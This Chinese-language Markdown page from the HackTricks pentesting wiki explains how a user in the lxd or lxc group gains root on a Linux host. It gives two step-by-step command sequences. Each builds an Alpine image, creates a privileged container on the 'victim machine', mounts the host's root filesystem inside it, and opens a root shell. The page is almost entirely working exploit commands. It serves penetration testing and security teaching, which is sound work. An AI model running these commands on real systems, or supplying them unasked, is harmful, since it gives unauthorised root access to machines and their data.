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84 lines
2.7 KiB
Markdown
84 lines
2.7 KiB
Markdown
# lxd/lxc 组 - 权限提升
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{{#include ../../../banners/hacktricks-training.md}}
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如果您属于 _**lxd**_ **或** _**lxc**_ **组**，您可以成为 root
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## 无需互联网的利用
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### 方法 1
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您可以在您的机器上安装这个发行版构建工具：[https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(按照 GitHub 的说明进行操作)：
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```bash
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sudo su
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# Install requirements
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sudo apt update
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sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
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# Clone repo
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git clone https://github.com/lxc/distrobuilder
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# Make distrobuilder
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cd distrobuilder
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make
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# Prepare the creation of alpine
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mkdir -p $HOME/ContainerImages/alpine/
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cd $HOME/ContainerImages/alpine/
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wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
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# Create the container
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## Using build-lxd
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sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
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## Using build-lxc
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sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
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```
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上传文件 **lxd.tar.xz** 和 **rootfs.squashfs**，将镜像添加到仓库并创建一个容器：
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```bash
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lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
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# Check the image is there
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lxc image list
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# Create the container
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lxc init alpine privesc -c security.privileged=true
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# List containers
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lxc list
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lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
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```
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> [!CAUTION]
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> 如果您发现此错误 _**错误：未找到存储池。请创建一个新的存储池**_\
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> 运行 **`lxd init`** 并 **重复** 之前的命令块
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最后，您可以执行容器并获取 root：
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```bash
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lxc start privesc
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lxc exec privesc /bin/sh
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[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
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```
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### 方法 2
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构建一个 Alpine 镜像并使用标志 `security.privileged=true` 启动它，强制容器以 root 身份与主机文件系统交互。
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```bash
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# build a simple alpine image
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git clone https://github.com/saghul/lxd-alpine-builder
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cd lxd-alpine-builder
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sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
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sudo ./build-alpine -a i686
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# import the image
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lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
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# before running the image, start and configure the lxd storage pool as default
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lxd init
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# run the image
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lxc init myimage mycontainer -c security.privileged=true
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# mount the /root into the image
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lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
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```
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{{#include ../../../banners/hacktricks-training.md}}
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